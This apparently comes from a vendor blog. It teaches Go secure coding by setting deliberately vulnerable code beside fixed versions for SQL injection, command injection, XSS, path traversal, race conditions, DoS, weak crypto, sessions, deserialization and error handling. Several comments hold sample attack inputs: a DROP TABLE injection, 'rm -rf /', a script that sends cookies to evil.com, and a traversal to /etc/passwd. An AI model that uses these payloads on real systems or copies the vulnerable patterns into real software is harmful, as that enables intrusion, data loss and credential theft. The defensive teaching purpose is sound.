10 Critical Golang Security Vulnerabilities Developers Must Know

SQL Injection, Command Injection Attacks, Cross-Site Scripting, Path Traversal, Race Condition,... are critical Golang security vulnerabilities you must be know.

Golang Security Vulnerabilities

Are your Go applications truly secure? With 9 new CVEs reported in 2025 alone and an average severity score of 6.5, Golang vulnerabilities pose a significant threat to production systems worldwide.

Go (Golang) has become the backbone of cloud-native infrastructure, powering critical systems from Docker to Kubernetes. However, its popularity makes it an attractive target for attackers. This comprehensive guide covers the most critical Golang security vulnerabilities, their associated CVEs, and battle-tested best practices to protect your Go applications from common Golang security vulnerabilities.

What you'll learn:

  • Current CVE landscape for Golang (2024-2025);
  • 10 critical vulnerability categories with code examples;
  • Secure coding patterns to prevent each vulnerability;
  • Essential security tools and scanning techniques.

>> You may be interested in: 6 Common API Vulnerabilities and Strategies to Prevent Them

Recent Golang CVE Landscape (2024-2025)

Understanding the current Golang security vulnerabilities threat landscape is essential for prioritizing security efforts. The Go vulnerability database tracks all known Golang CVE issues affecting the standard library and popular packages.

Standard Library CVEs:

CVE IDComponentVulnerabilitySeverity
CVE-2025-61724net/textprotoDoS via CPU exhaustionHigh
CVE-2025-58183archive/tarMemory exhaustion attackHigh
CVE-2025-58186net/httpCookie parsing memory consumptionMedium
CVE-2025-58185encoding/asn1Malformed DER memory exhaustionHigh
CVE-2024-34155go/parserStack exhaustion in ParseHigh
CVE-2024-34156encoding/gobStack exhaustion in DecoderHigh
CVE-2024-34158go/buildStack exhaustion vulnerabilityHigh

Third-Party Package CVEs:

CVE IDPackageIssue
CVE-2024-27289pgx PostgreSQL driverSQL Injection
CVE-2025-52881opencontainers/runcContainer escape
CVE-2025-64513MilvusAuthentication bypass
CVE-2025-68156expr-lang/exprDoS via recursion

Common Golang Securtiy Vulnerabilities

In this part, I'll mention common vulnerabilities along with their best practices to avoid. But, before implementing these security practices, ensure you have Go 1.21+ installed (latest security patches).

SQL Injection

SQL injection remains one of the most dangerous vulnerabilities, allowing attackers to access, modify, or delete database content. 

Developers often fall into this trap when trying to build dynamic queries. Using functions like fmt.Sprintf() to plug variables into a query string bypasses the driver's ability to "escape" dangerous characters.

The vulnerable pattern:

typescript
// VULNERABLE - Never do this!
func getUser(db *sql.DB, userID string) (*User, error) {
    query := "SELECT * FROM users WHERE id = " + userID
    row := db.QueryRow(query)
    // Attacker can inject: "1 OR 1=1; DROP TABLE users;--"
    return scanUser(row)
}

The secure pattern:

typescript
// SECURE - Use parameterized queries
func getUser(db *sql.DB, userID string) (*User, error) {
    query := "SELECT id, name, email FROM users WHERE id = ?"
    row := db.QueryRow(query, userID)
    return scanUser(row)
}

// SECURE - Use prepared statements for repeated queries
func getUsersPrepared(db *sql.DB, userIDs []string) ([]*User, error) {
    stmt, err := db.Prepare("SELECT id, name, email FROM users WHERE id = ?")
    if err != nil {
        return nil, err
    }
    defer stmt.Close()

    var users []*User
    for _, id := range userIDs {
        row := stmt.QueryRow(id)
        user, err := scanUser(row)
        if err != nil {
            continue
        }
        users = append(users, user)
    }
    return users, nil
}

Best practices:

  • Always use parameterized queries with placeholders (? or $1);
  • Consider using ORMs like GORM or sqlx with built-in protection;
  • Validate input types before database operations;
  • Apply principle of least privilege to database accounts.

Command Injection Attacks

Command injection allows attackers to execute arbitrary system commands, potentially leading to complete server compromise.

In Go, this occurs when an application passes unvalidated user input to system shells or execution functions. Since Go is often used for cloud-native tools and system utilities, it frequently interacts with the underlying OS, increasing the attack surface for this specific threat.

The vulnerable pattern:

typescript
// VULNERABLE - User input in shell command
func processFile(filename string) error {
    cmd := exec.Command("sh", "-c", "cat "+filename+" | wc -l")
    // Attacker input: "file.txt; rm -rf /"
    return cmd.Run()
}

The secure pattern:

typescript
// SECURE - Pass arguments separately
func processFile(filename string) error {
    // Validate filename first
    if !isValidFilename(filename) {
        return errors.New("invalid filename")
    }

    // Use exec.Command with separate arguments
    cmd := exec.Command("wc", "-l", filename)
    return cmd.Run()
}

// SECURE - Use allowlist validation
func executeCommand(cmdName string, args []string) error {
    allowedCommands := map[string]bool{
        "ls":   true,
        "cat":  true,
        "wc":   true,
        "grep": true,
    }

    if !allowedCommands[cmdName] {
        return errors.New("command not allowed")
    }

    cmd := exec.Command(cmdName, args...)
    return cmd.Run()
}

func isValidFilename(name string) bool {
    // Only allow alphanumeric, dots, dashes, underscores
    matched, _ := regexp.MatchString(`^[a-zA-Z0-9._-]+$`, name)
    return matched && !strings.Contains(name, "..")
}

Best practices:

  • Never concatenate user input into shell commands;
  • Use exec.Command() with separate arguments array;
  • Implement strict allowlists for permitted commands;
  • Validate and sanitize all filenames and paths.

Cross-Site Scripting (XSS)

XSS attacks can:

  • Session Hijacking: Stealing document.cookie to take over user accounts.
  • DOM Manipulation: Phishing for credentials by injecting fake login forms.
  • Malware Distribution: Redirecting users to malicious sites or executing browser-based exploits.

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. While Go has tools to fight this, developers often bypass them for the convenience or by using the wrong library.

The vulnerable pattern:

typescript
// VULNERABLE - Direct HTML output
func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    // Attacker input: <script>document.location='<http://evil.com/steal?c='+document.cookie></script>
    fmt.Fprintf(w, "<h1>Hello, %s!</h1>", name)
}

The secure pattern:

typescript
import (
    "html/template"
    "net/http"
)

// SECURE - Use html/template (auto-escapes)
var tmpl = template.Must(template.New("greet").Parse(`
<!DOCTYPE html>
<html>
<head><title>Greeting</title></head>
<body>
    <h1>Hello, {{.Name}}!</h1>
</body>
</html>
`))

func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    data := struct{ Name string }{Name: name}

    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    tmpl.Execute(w, data)
}

// SECURE - Manual escaping when templates aren't suitable
import "html"

func apiResponse(w http.ResponseWriter, userInput string) {
    safe := html.EscapeString(userInput)
    // Use safe string in response
}

Best practices:

  • Always use html/template package for HTML output (auto-escapes by default);
  • Never use text/template for HTML content;
  • Implement Content-Security-Policy (CSP) headers;
  • Validate and sanitize all user inputs on the server side.

Path Traversal

Path traversal allows attackers to access files outside intended directories, exposing sensitive configuration files, source code, or credentials.

This happens when an application uses user-supplied input to build a file path without sufficient validation. An attacker can use special sequences, like ../ (dot-dot-slash), to move up the intended directory and reach sensitive files on the server.

The vulnerable pattern:

typescript
// VULNERABLE - Direct path concatenation
func serveFile(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")
    // Attacker input: "../../../etc/passwd"
    content, _ := os.ReadFile("/uploads/" + filename)
    w.Write(content)
}

The secure pattern:

typescript
import (
    "errors"
    "os"
    "path/filepath"
    "strings"
)

// SECURE - Validate and sanitize paths
func serveFile(w http.ResponseWriter, r *http.Request) error {
    filename := r.URL.Query().Get("file")

    // Clean the path and get base name only
    cleanName := filepath.Base(filepath.Clean(filename))

    // Reject any path traversal attempts
    if strings.Contains(filename, "..") {
        return errors.New("invalid path")
    }

    // Construct full path within allowed directory
    basePath := "/uploads"
    fullPath := filepath.Join(basePath, cleanName)

    // Verify the resolved path is still within base directory
    if !strings.HasPrefix(fullPath, basePath) {
        return errors.New("path traversal detected")
    }

    content, err := os.ReadFile(fullPath)
    if err != nil {
        return err
    }

    w.Write(content)
    return nil
}

// SECURE - Use allowlist for file access
func serveAllowedFile(w http.ResponseWriter, filename string) error {
    allowedFiles := map[string]string{
        "report":  "/uploads/report.pdf",
        "config":  "/uploads/config.json",
        "readme":  "/uploads/readme.txt",
    }

    path, ok := allowedFiles[filename]
    if !ok {
        return errors.New("file not found")
    }

    content, err := os.ReadFile(path)
    if err != nil {
        return err
    }

    w.Write(content)
    return nil
}

Best practices:

  • Use filepath.Clean() and filepath.Base() to sanitize paths;
  • Always validate that resolved paths remain within allowed directories;
  • Implement allowlists for accessible files when possible;
  • Use chroot or containerized environments for file operations.

Race Condition

Race conditions can lead to data corruption, security bypasses, and unpredictable application behavior in concurrent Go applications. When two or more goroutines access the same memory location concurrently, and at least one of the accesses is a write, this vulnerability happens.

In a security context, this often leads to Time-of-Check to Time-of-Use (TOCTOU) bugs, where a security check (like "Does this user have enough money?") passes, but the state changes before the action (the withdrawal) is completed.

The vulnerable pattern:

typescript
// VULNERABLE - Unsynchronized shared state
var balance int = 1000

func withdraw(amount int) bool {
    if balance >= amount {
        // Race condition: another goroutine might modify balance here
        balance -= amount
        return true
    }
    return false
}

func main() {
    // Two concurrent withdrawals can both succeed
    go withdraw(800)
    go withdraw(800)
    // Result: balance could be -600 (double withdrawal)
}

The secure pattern:

typescript
import (
    "sync"
    "sync/atomic"
)

// SECURE - Using mutex
type Account struct {
    mu      sync.Mutex
    balance int
}

func (a *Account) Withdraw(amount int) bool {
    a.mu.Lock()
    defer a.mu.Unlock()

    if a.balance >= amount {
        a.balance -= amount
        return true
    }
    return false
}

// SECURE - Using atomic operations for counters
type Counter struct {
    value int64
}

func (c *Counter) Increment() {
    atomic.AddInt64(&c.value, 1)
}

func (c *Counter) Value() int64 {
    return atomic.LoadInt64(&c.value)
}

// SECURE - Using channels for coordination
func worker(jobs <-chan int, results chan<- int) {
    for job := range jobs {
        results <- process(job)
    }
}

func process(n int) int {
    return n * 2
}

Best practices:

  • Always run tests with race flag: go test -race ./...;
  • Use sync.Mutex or sync.RWMutex for shared state protection;
  • Prefer channels for goroutine communication;
  • Use sync/atomic package for simple counters and flags.

Denial of Service (DoS)

DoS vulnerabilities allow attackers to exhaust server resources, making applications unavailable to legitimate users. Also, in auto-scaling cloud setups, a DoS attack can drive up costs by triggering excessive scaling.

DoS vulnerabilities typically result from a lack of defensive limits. Because Go can handle thousands of concurrent connections, developers often forget that each connection still consumes a slice of finite system resources.

The vulnerable pattern:

typescript
// VULNERABLE - Unbounded allocation
func processData(w http.ResponseWriter, r *http.Request) {
    size, _ := strconv.Atoi(r.Header.Get("Content-Length"))
    // Attacker sends Content-Length: 10000000000
    data := make([]byte, size)
    r.Body.Read(data)
}

// VULNERABLE - No timeout on HTTP server
func main() {
    http.ListenAndServe(":8080", nil)
}

The secure pattern:

typescript
import (
    "io"
    "net/http"
    "time"
)

const (
    maxBodySize    = 10 * 1024 * 1024 // 10MB
    readTimeout    = 10 * time.Second
    writeTimeout   = 30 * time.Second
    maxHeaderBytes = 1 << 20 // 1MB
)

// SECURE - Limit request body size
func processData(w http.ResponseWriter, r *http.Request) {
    // Limit the request body size
    r.Body = http.MaxBytesReader(w, r.Body, maxBodySize)

    data, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Request too large", http.StatusRequestEntityTooLarge)
        return
    }

    // Process data...
    _ = data
}

// SECURE - Configure server with timeouts
func main() {
    server := &http.Server{
        Addr:           ":8080",
        ReadTimeout:    readTimeout,
        WriteTimeout:   writeTimeout,
        MaxHeaderBytes: maxHeaderBytes,
        Handler:        http.DefaultServeMux,
    }

    server.ListenAndServe()
}

// SECURE - Limit recursion depth
func parseNested(data interface{}, depth int) error {
    const maxDepth = 100

    if depth > maxDepth {
        return errors.New("maximum nesting depth exceeded")
    }

    switch v := data.(type) {
    case map[string]interface{}:
        for _, val := range v {
            if err := parseNested(val, depth+1); err != nil {
                return err
            }
        }
    case []interface{}:
        for _, val := range v {
            if err := parseNested(val, depth+1); err != nil {
                return err
            }
        }
    }
    return nil
}

Best practices:

  • Always set ReadTimeout, WriteTimeout on HTTP servers;
  • Use http.MaxBytesReader to limit request body sizes;
  • Implement rate limiting for API endpoints;
  • Set maximum recursion depths for parsing operations.

Insecure Cryptography

Weak cryptographic implementations can expose sensitive data, compromise user privacy, and violate compliance requirements.

In Go, the standard library is powerful but unopinionated. It provides access to legacy algorithms like MD5 and SHA1 for compatibility reasons, but using them for security purposes (like password storage) is a major vulnerability.

The vulnerable pattern:

typescript
// VULNERABLE - Weak hashing
import "crypto/md5"

func hashPassword(password string) string {
    hash := md5.Sum([]byte(password))
    return fmt.Sprintf("%x", hash)
}

// VULNERABLE - Hardcoded secrets
const apiKey = "sk_live_abc123xyz"

The secure pattern:

typescript
import (
    "crypto/rand"
    "encoding/base64"
    "os"

    "golang.org/x/crypto/bcrypt"
)

// SECURE - Use bcrypt for password hashing
func hashPassword(password string) (string, error) {
    bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
    return string(bytes), err
}

func checkPassword(password, hash string) bool {
    err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password))
    return err == nil
}

// SECURE - Generate cryptographically secure random tokens
func generateToken(length int) (string, error) {
    bytes := make([]byte, length)
    if _, err := rand.Read(bytes); err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(bytes), nil
}

// SECURE - Load secrets from environment
func getAPIKey() string {
    key := os.Getenv("API_KEY")
    if key == "" {
        panic("API_KEY environment variable not set")
    }
    return key
}

Best practices:

  • Use bcrypt or argon2 for password hashing (never MD5/SHA1);
  • Use crypto/rand for random number generation (never math/rand);
  • Store secrets in environment variables or secret management systems;
  • Rotate cryptographic keys regularly.

Authentication and Session

Authentication flaws lets attackers to impersonate users, access sensitive data, and perform unauthorized actions. These vulnerabilities occur when an application fails to properly verify a user's identity or fails to protect the session token that proves the user is logged in.

The vulnerable pattern:

typescript
// VULNERABLE - Predictable session IDs
func createSession() string {
    return fmt.Sprintf("session_%d", time.Now().Unix())
}

// VULNERABLE - Missing authentication check
func adminHandler(w http.ResponseWriter, r *http.Request) {
    // No authentication check!
    w.Write([]byte("Admin panel"))
}

The secure pattern:

typescript
import (
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "time"
)

// SECURE - Cryptographically random session IDs
func createSession() (string, error) {
    b := make([]byte, 32)
    if _, err := rand.Read(b); err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(b), nil
}

// SECURE - Authentication middleware
func authMiddleware(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        session, err := r.Cookie("session_id")
        if err != nil || !isValidSession(session.Value) {
            http.Error(w, "Unauthorized", http.StatusUnauthorized)
            return
        }

        next(w, r)
    }
}

// SECURE - Secure cookie configuration
func setSessionCookie(w http.ResponseWriter, sessionID string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        HttpOnly: true,  // Prevents JavaScript access
        Secure:   true,  // HTTPS only
        SameSite: http.SameSiteStrictMode,
        MaxAge:   3600,  // 1 hour
    })
}

func isValidSession(sessionID string) bool {
    // Validate against session store
    return sessionStore.Exists(sessionID)
}

Best practices:

  • Generate session IDs with crypto/rand
  • Set HttpOnly, Secure, and SameSite flags on cookies
  • Implement session expiration and rotation
  • Use authentication middleware for protected routes

Insecure Deserialization

Insecure deserialization can lead to remote code execution, denial of service, and authentication bypasses. This vulnerability arises when an application takes untrusted data and uses it to reconstruct an object or data structure.

Although Go is generally safer than languages like Java or Python (which can trigger automatic code execution during deserialization), it is still prone to logic flaws and resource exhaustion.

The vulnerable pattern:

typescript
// VULNERABLE - Deserializing untrusted data without validation
import "encoding/gob"

func loadUserData(data []byte) (*User, error) {
    var user User
    decoder := gob.NewDecoder(bytes.NewReader(data))
    // No validation of data source or structure
    err := decoder.Decode(&user)
    return &user, err
}

The secure pattern:

typescript
import (
    "encoding/json"
    "errors"
)

type User struct {
    ID       int    `json:"id"`
    Username string `json:"username"`
    Email    string `json:"email"`
    Role     string `json:"role"`
}

// SECURE - Validate after deserialization
func loadUserData(data []byte) (*User, error) {
    var user User

    // Use JSON with explicit struct mapping
    if err := json.Unmarshal(data, &user); err != nil {
        return nil, errors.New("invalid data format")
    }

    // Validate deserialized data
    if err := validateUser(&user); err != nil {
        return nil, err
    }

    return &user, nil
}

func validateUser(u *User) error {
    if u.ID <= 0 {
        return errors.New("invalid user ID")
    }
    if len(u.Username) < 3 || len(u.Username) > 50 {
        return errors.New("invalid username length")
    }
    if !isValidEmail(u.Email) {
        return errors.New("invalid email format")
    }

    // Validate role against allowlist
    validRoles := map[string]bool{"user": true, "admin": true, "moderator": true}
    if !validRoles[u.Role] {
        return errors.New("invalid role")
    }

    return nil
}

Best practices:

  • Prefer JSON over gob for external data;
  • Always validate deserialized data against expected schemas;
  • Implement strict type checking and value validation;
  • Use allowlists for enum-like fields.

Logging and Error Handling 

Improper error handling can leak sensitive information to attackers and make debugging difficult. These vulnerabilities occur when an application reveals internal implementation details (like file paths, stack traces, or database schemas) in response to an error, or when it writes sensitive user data (like passwords or PII) into plain-text log files.

The vulnerable pattern:

typescript
// VULNERABLE - Exposing internal errors
func loginHandler(w http.ResponseWriter, r *http.Request) {
    user, err := authenticate(r.FormValue("username"), r.FormValue("password"))
    if err != nil {
        // Exposes database details to attacker
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
}

// VULNERABLE - Logging sensitive data
func processPayment(card CreditCard) {
    log.Printf("Processing payment for card: %s", card.Number)
}

The secure pattern:

typescript
import (
    "log"
    "net/http"
)

// SECURE - Generic user-facing errors, detailed internal logging
func loginHandler(w http.ResponseWriter, r *http.Request) {
    user, err := authenticate(r.FormValue("username"), r.FormValue("password"))
    if err != nil {
        // Log detailed error internally
        log.Printf("Authentication failed: %v", err)

        // Return generic message to user
        http.Error(w, "Authentication failed", http.StatusUnauthorized)
        return
    }

    // Continue with authenticated user...
    _ = user
}

// SECURE - Mask sensitive data in logs
type CreditCard struct {
    Number string
    Expiry string
    CVV    string
}

func (c CreditCard) MaskedNumber() string {
    if len(c.Number) < 4 {
        return "****"
    }
    return "****-****-****-" + c.Number[len(c.Number)-4:]
}

func processPayment(card CreditCard) {
    log.Printf("Processing payment for card: %s", card.MaskedNumber())
}

// SECURE - Structured error types
type AppError struct {
    Code    int
    Message string
    Err     error
}

func (e *AppError) Error() string {
    return e.Message
}

func (e *AppError) Unwrap() error {
    return e.Err
}

func NewAppError(code int, message string, err error) *AppError {
    return &AppError{Code: code, Message: message, Err: err}
}

Best practices:

  • Never expose internal error messages to users;
  • Mask or redact sensitive data in logs;
  • Use structured logging with appropriate log levels;
  • Implement custom error types for better error handling.

>> Explore more: 10 Best Logging Libraries for Golang Developers

Essential Security Tools

  • Vulnerability Scanning
typescript
# Install govulncheck
go install golang.org/x/vuln/cmd/govulncheck@latest

# Scan your project
govulncheck ./...

# JSON output for CI/CD
govulncheck -json ./...
  • Race Condition Detection
typescript
# Run tests with race detector
go test -race ./...

# Build with race detector (for testing)
go build -race -o myapp ./cmd/myapp
  • Static Analysis
typescript
# Built-in vet tool
go vet ./...

# Install gosec (security-focused linter)
go install github.com/securego/gosec/v2/cmd/gosec@latest

# Run security analysis
gosec ./...
typescript
# GitHub Actions example
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Go
        uses: actions/setup-go@v5
        with:
          go-version: '1.22'

      - name: Run govulncheck
        uses: golang/govulncheck-action@v1

      - name: Run gosec
        uses: securego/gosec@master
        with:
          args: ./...

Security Checklist

CategoryBest PracticeTool
DependenciesKeep Go and packages updatedgo get -u, govulncheck
SQLUse parameterized queries onlyCode review
CommandsNever concatenate user inputgosec
HTMLUse html/template packageCode review
FilesValidate paths with filepathgosec
ConcurrencyRun tests with -race flaggo test -race
HTTPSet timeouts and body limitsCode review
SecretsUse environment variablesgosec
ErrorsDon't expose internal errorsCode review
CryptoUse bcrypt, crypto/randgosec

Conclusion

Protecting against Golang security vulnerabilities requires a proactive, multi-layered approach. By understanding these 10 critical Golang CVE categories and implementing the secure coding patterns provided, you can significantly reduce your Go application's attack surface and prevent common Golang security vulnerabilities.

>>> Follow and Contact Relia Software for more information!

  • golang
  • coding